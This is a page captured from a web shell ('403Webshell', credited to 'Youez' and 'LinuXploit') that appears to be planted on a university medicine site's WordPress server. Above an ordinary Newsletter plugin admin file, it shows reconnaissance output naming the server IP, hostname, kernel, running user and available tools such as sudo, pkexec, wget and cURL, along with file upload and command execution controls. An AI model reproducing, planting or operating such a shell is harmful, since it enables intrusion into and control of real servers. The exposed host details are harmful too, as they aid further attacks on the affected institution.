403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/medicine.dbweb26.goldcopy/public_html/wp-content/plugins/newsletter/users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/medicine.dbweb26.goldcopy/public_html/wp-content/plugins/newsletter/users/new.php
<?php
/* @var $this NewsletterUsersAdmin */
/* @var $controls NewsletterControls */

defined('ABSPATH') || exit;

require_once NEWSLETTER_INCLUDES_DIR . '/controls.php';
$controls = new NewsletterControls();

if ($controls->is_action('save')) {

    if (!is_email($controls->data['email'])) {
        $controls->errors = __('Wrong email address.', 'newsletter');
    }

    if (empty($controls->errors)) {
        $controls->data['status'] = 'C';
        $controls->data['sex'] = 'n';

        $user = $this->save_user($controls->data);
        if ($user === false) {
            $controls->errors = __('This subscriber already exists.', 'newsletter');
        } else {
            $controls->js_redirect('?page=newsletter_users_edit&id=' . ((int) $user->id));
        }
    }
}
?>

<div class="wrap" id="tnp-wrap">

    <?php include NEWSLETTER_ADMIN_HEADER; ?>

    <div id="tnp-heading">

        <h2><?php esc_html_e('New Subscriber', 'newsletter') ?></h2>

    </div>

    <div id="tnp-body" class="tnp-users tnp-users-new">

        <?php $controls->show(); ?>

        <form method="post" action="">
            <?php $controls->init(); ?>

            <table class="form-table">
                <tr>
                    <th><?php esc_html_e('Email', 'newsletter') ?></th>
                    <td>
                        <?php $controls->text_email('email', 60); ?>
                        <?php $controls->button('save', '&raquo;'); ?>

                    </td>
                </tr>
            </table>

        </form>
    </div>

    <?php include NEWSLETTER_ADMIN_FOOTER; ?>

</div>

Youez - 2016 - github.com/yon3zu
LinuXploit